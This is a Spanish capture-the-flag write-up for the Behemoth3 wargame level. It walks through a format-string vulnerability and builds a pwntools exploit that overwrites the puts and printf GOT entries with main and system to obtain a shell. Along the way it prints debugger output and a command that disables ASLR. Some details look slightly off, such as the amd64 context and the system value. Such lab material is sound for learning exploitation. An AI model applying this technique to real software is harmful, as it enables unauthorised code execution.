Behemoth3
Recordamos deshabilitar ASLR con:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Analizando
ltrace
behemoth3@behemoth:/behemoth$ ltrace ./behemoth3
__libc_start_main(0x804847b, 1, 0xffffd774, 0x80484e0 <unfinished ...>
printf("Identify yourself: ") = 19
fgets(Identify yourself: asd "asd\n", 200, 0xf7fc55a0) = 0xffffd610
printf("Welcome, ") = 9
printf("asd\n"Welcome, asd) = 4
puts("\naaaand goodbye again." aaaand goodbye again.) = 23
+++ exited (status 0) +++
Ghidra
El pseudo-código del programa es el siguiente:
undefined4 main(void) {
char local_cc [200];
printf("Identify yourself: ");
fgets(local_cc,200,stdin);
printf("Welcome, ");
printf(local_cc);
puts("\naaaand goodbye again.");
return 0;
}
Conclusiones
Nos encontramos con lo que parece una vulnerabilidad de "Format String". Lo podemos comprobar enviando una pequeña cadena de caracteres seguida de algunos %x.
al input del binario.
behemoth3@behemoth:/behemoth$ ./behemoth3
Identify yourself: AAAABBBB.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
Welcome, AAAABBBB.41414141.42424242.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.f7000a78
aaaand goodbye again.
De este modo podemos comprobar que después de la impresión de los caracteres enviados, se nos muestran los mismos en valor hexadecimal. Esto también nos indica que comenzamos a sobreescribir la memoria inmediatamente después de la cadena que pasemos.
Analizando el código del binario, la vulnerabilidad se encuentra en la llamada a la función "printf" de la línea 7 por lo que, si inyectamos, estaremos sobreescribiendo directamente la direción de la función "puts".
Explotando
Planificación
Para explotar este caso, vamos a redireccionar la llamada a la función puts para que apunte de nuevo a la función main. Tras esto, modificaremos la llamada a la función printf para que apunte a la función system de libc.
Modificando la dirección de puts
Lo primero que tenemos que hacer es encontrar la dirección de puts y de main. Para ello, accedemos al binario con gdb o el debugger que usemos.
Los pasos que seguiremos son:
- disass main
- x/i 0x8048350 (la dirección de la llamada a puts)
- Obtendremos la dirección de puts
# pwndbg ./behemoth3
Reading symbols from ./behemoth3...
(No debugging symbols found in ./behemoth3)
pwndbg> disass main
Dump of assembler code for function main:
0x0804847b <+0>: push ebp
0x0804847c <+1>: mov ebp,esp
0x0804847e <+3>: sub esp,0xc8
0x08048484 <+9>: push 0x8048560
0x08048489 <+14>: call 0x8048330 <printf@plt>
0x0804848e <+19>: add esp,0x4
0x08048491 <+22>: mov eax,ds:0x80497c0
0x08048496 <+27>: push eax
0x08048497 <+28>: push 0xc8
0x0804849c <+33>: lea eax,[ebp-0xc8]
0x080484a2 <+39>: push eax
0x080484a3 <+40>: call 0x8048340 <fgets@plt>
0x080484a8 <+45>: add esp,0xc
0x080484ab <+48>: push 0x8048574
0x080484b0 <+53>: call 0x8048330 <printf@plt>
0x080484b5 <+58>: add esp,0x4
0x080484b8 <+61>: lea eax,[ebp-0xc8]
0x080484be <+67>: push eax
0x080484bf <+68>: call 0x8048330 <printf@plt>
0x080484c4 <+73>: add esp,0x4
0x080484c7 <+76>: push 0x804857e
0x080484cc <+81>: call 0x8048350 <puts@plt>
0x080484d1 <+86>: add esp,0x4
0x080484d4 <+89>: mov eax,0x0
0x080484d9 <+94>: leave
0x080484da <+95>: ret
End of assembler dump.
pwndbg> x/i 0x8048350
0x8048350 <puts@plt>: jmp DWORD PTR ds:0x80497ac
pwndbg>
Ahora ya tenemos la dirección de puts (0x80497ac y main (0x0804847b)
Otra manera automática de obtener la dirección de puts y main, es usando ELF en nuestro exploit con esta sintáxis:
binary = ELF("./behemoth3")
puts = p32(binary.got['puts'])
main = p32(binary.symbols['main'])
Construyendo el Format String
Para conseguir modificar la dirección de memoria que queremos, tenemos que enviar con nuestro payload la dirección donde queremos escribir seguido de la inyección "format string". Por defecto no funcionará ya que tendremos que calcular el padding necesario hasta obtener a la dirección de memoria que queremos. Este proceso se realiza entre aproximación y ensayo/error. La sintáxis del format string que usaremos es:
'%1$'+str(p32(main))+'x%1$hn'
%1$ | padding | x%1 | $hn |
---|---|---|---|
comienzo del parámetro | padding necesario para conseguir la dirección deseada, calculado con la dirección de memoria que queremos como destino | parámetro a usar | con 'n' logramos que escriba y con 'h' provocamos que escriba solo 2 bytes |
Como el padding será muy elevado, dividimos la dirección de puts en dos partes, del mismo modo que dividiremos la inyección de la dirección de main en dos partes y por tanto, dos parámetros de format string.
Para obtener el primer bloque de la direcicón de main, usaremos (main & 0xffff)
Y para obtener el segundo bloque, usaremos ((main >> 16) & 0xffff)
Ahora, para ir comprobando, escribimos el comienzo de nuestro exploit añadiendo un pause al comienzo para poder hacer debug sobre el binario usando el exploit y comprobar los valores que estamos modificando.
from pwn import *
p = process('./behemoth3')
binary = ELF("./behemoth3")
context.update(arch='amd64')
pause()
puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b
payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str(main & 0xffff)+'x%1$hn'
payload += '%1$'+str((main >> 16) & 0xffff)+'x%2$hn'
p.sendline(payload)
print(p.recvall())
Calculando el padding
Ejecutamos el exploit, hacemos debug sobre el, y comprobamos el valor que obtiene la dirección de puts.
El valor de puts antes de continuar el pause:
0x80497ac <puts@got.plt>: 0x08048356
El valor de puts después de continuar el pause:
0x80497ac <puts@got.plt>: 0x8c878483
Como podemos ver, hemos podido escribir la dirección de puts aunque no es la dirección correcta de main por lo que, ahora tenemos que ajustar el padding.
# python -c "print 0x847b - 0x8483"
-8
Como vemos, tenemos que restar 8 al padding actual del primer grupo.
payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'
Volvemos a comprobar y obtenemos el grupo correcto.
0x80497ac <puts@got.plt>: 0x8c7f847b
Perfecto, el primer grupo ya está correcto. Ahora tenemos que corregir el segundo grupo. Para ello tenemos que hacer un integer overflow.
Para calcularlo, vamos a modificar el payload del segundo grupo a lo siguiente.
payload += '%1$'+str(1)+'x%2$hn'
0x80497ac <puts@got.plt>: 0x8482847b
Por lo tanto, si a 0xffff le restamos la dirección obtenida 0x8482 y le sumamos la dirección que deseamos 0x0804.
payload += '%1$'+str(0xffff - 0x8482 + ((main >> 16) & 0xffff))+'x%2$hn'
Y volvemos a comprobar.
0x80497ac <puts@got.plt>: 0x07fc847b
Estamos cerca, volvamos a calcular el padding.
# python -c "print 0x0804 - 0x07fc"
8
Por lo tanto el payload queda así
payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'
Construyendo el exploit
Hasta ahora, tenemos el exploit de deste modo.
from pwn import *
p = process('./behemoth3')
context.update(arch='amd64')
# Apuntando la dirección de puts a main
puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b
payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'
p.sendline(payload)
print(p.recvall())
Modificando la dirección de printf
Lo primero que tenemos que hacer igual que al principio, es encontrar la dirección de printf y de system. Para ello, accedemos al binario con gdb o el debugger que usemos.
Obteniendo la dirección de printf
Los pasos que seguiremos son:
- disass main
- x/i 0x8048350 (la dirección de la llamada a printf)
- Obtendremos la dirección de printf
# pwndbg ./behemoth3
Reading symbols from ./behemoth3...
(No debugging symbols found in ./behemoth3)
pwndbg> disass main
Dump of assembler code for function main:
0x0804847b <+0>: push ebp
0x0804847c <+1>: mov ebp,esp
0x0804847e <+3>: sub esp,0xc8
0x08048484 <+9>: push 0x8048560
0x08048489 <+14>: call 0x8048330 <printf@plt>
0x0804848e <+19>: add esp,0x4
0x08048491 <+22>: mov eax,ds:0x80497c0
0x08048496 <+27>: push eax
0x08048497 <+28>: push 0xc8
0x0804849c <+33>: lea eax,[ebp-0xc8]
0x080484a2 <+39>: push eax
0x080484a3 <+40>: call 0x8048340 <fgets@plt>
0x080484a8 <+45>: add esp,0xc
0x080484ab <+48>: push 0x8048574
0x080484b0 <+53>: call 0x8048330 <printf@plt>
0x080484b5 <+58>: add esp,0x4
0x080484b8 <+61>: lea eax,[ebp-0xc8]
0x080484be <+67>: push eax
0x080484bf <+68>: call 0x8048330 <printf@plt>
0x080484c4 <+73>: add esp,0x4
0x080484c7 <+76>: push 0x804857e
0x080484cc <+81>: call 0x8048350 <puts@plt>
0x080484d1 <+86>: add esp,0x4
0x080484d4 <+89>: mov eax,0x0
0x080484d9 <+94>: leave
0x080484da <+95>: ret
End of assembler dump.
pwndbg> x/i 0x8048330
0x8048330 <printf@plt>: jmp DWORD PTR ds:0x80497a4
pwndbg>
Ahora ya tenemos la dirección de printf (0x80497a4)
Otra manera automática de obtener la dirección de puts y main, es usando ELF en nuestro exploit con esta sintáxis:
binary = ELF("./behemoth3")
printf = p32(binary.got['printf'])
Obteniendo la dirección de system
Para obtener la dirección de system, vamos a usar la librería libc del sistema vulnerable.
libc = ELF("../libc-2.24.so")
system = p32(libc.symbols['system'])
Construyendo el Format String
Calculando el padding
Ejecutamos el exploit, hacemos debug sobre el poniendo un breakpoint en la dirección de la llamada al printf vulnerable, y comprobamos el valor que obtiene la dirección de printf.
El valor de printf antes de continuar el pause:
0x80497a4 <printf@got.plt>: 0xf7dc6f30
El valor de printf después de continuar el pause:
0x80497a4 <printf@got.plt>: 0xa857a858
Como podemos ver, hemos podido escribir la dirección de printf aunque no es la dirección correcta de main por lo que, ahora tenemos que ajustar el padding.
# python -c "print 0xa850 - 0xa858"
-8
Como vemos, tenemos que restar 8 al padding actual del primer grupo.
payload += '%1$'+str((system & 0xffff) - 8)+'x%1$hn'
Volvemos a comprobar y obtenemos el grupo correcto.
0x80497a4 <printf@got.plt>: 0xa857a850
Perfecto, el primer grupo ya está correcto. Ahora tenemos que corregir el segundo grupo. Para ello tenemos que volver a hacer un integer overflow.
Para calcularlo, vamos a modificar el payload del segundo grupo a lo siguiente.
payload += '%1$'+str(1)+'x%2$hn'
0x80497a4 <printf@got.plt>: 0xa857a850
Por lo tanto, si a 0xffff le restamos la dirección obtenida 0xa857 y le sumamos la dirección que deseamos 0x0003.
payload += '%1$'+str(0xffff - 0xa857 + 8 + ((system >> 16) & 0xffff))+'x%2$hn'
Y volvemos a comprobar.
0x80497a4 <printf@got.plt>: 0xfffba850
Bueno, como podemos ver el integer overflow se ha quedado corto por lo que vamos a sumar 8 al payload y deberíamos obtener la dirección que necesitamos.
0x80497a4 <printf@got.plt>: 0x0003a850
Efectivamente, ya tenemos la dirección de system.
Construyendo el exploit
Hasta ahora, tenemos el exploit de deste modo.
from pwn import *
p = process('./behemoth3')
context.update(arch='amd64')
# Apuntando la direccion de puts a main
puts1 = 0x80497ac
puts2 = 0x80497ac + 2
main = 0x0804847b
payload = p32(puts1)
payload += p32(puts2)
payload += '%1$'+str((main & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0x8482 + 8 + ((main >> 16) & 0xffff))+'x%2$hn'
p.sendline(payload)
p.recvuntil('yourself:')
# Apuntando la direccion de printf a system
printf1 = 0x80497a4
printf2 = 0x80497a4 + 2
system = 0x0003a850
#system = 0xf7e4c850
payload = p32(printf1)
payload += p32(printf2)
payload += '%1$'+str((system & 0xffff) - 8)+'x%1$hn'
payload += '%1$'+str(0xffff - 0xa857 + 8 + ((system >> 16) & 0xffff))+'x%2$hn'
p.sendline(payload)
print(p.recvall())
Llegados a este punto, solo nos quedaría enviar el comando "/bin/bash" a la llamada a system para que nos entregue una shell y convertir el exploit en shell interactiva.
Esto se haría con estas dos ordenes:
payload += '/bin/sh'
p.interactive()
EN LA MÁQUINA EXTERNA pwndbg> info address system Symbol "system" is at 0xf7e05f10 in a file compiled without debugging. pwndbg> print system $1 = {<text variable, no debug info>} 0xf7e05f10 <system> pwndbg>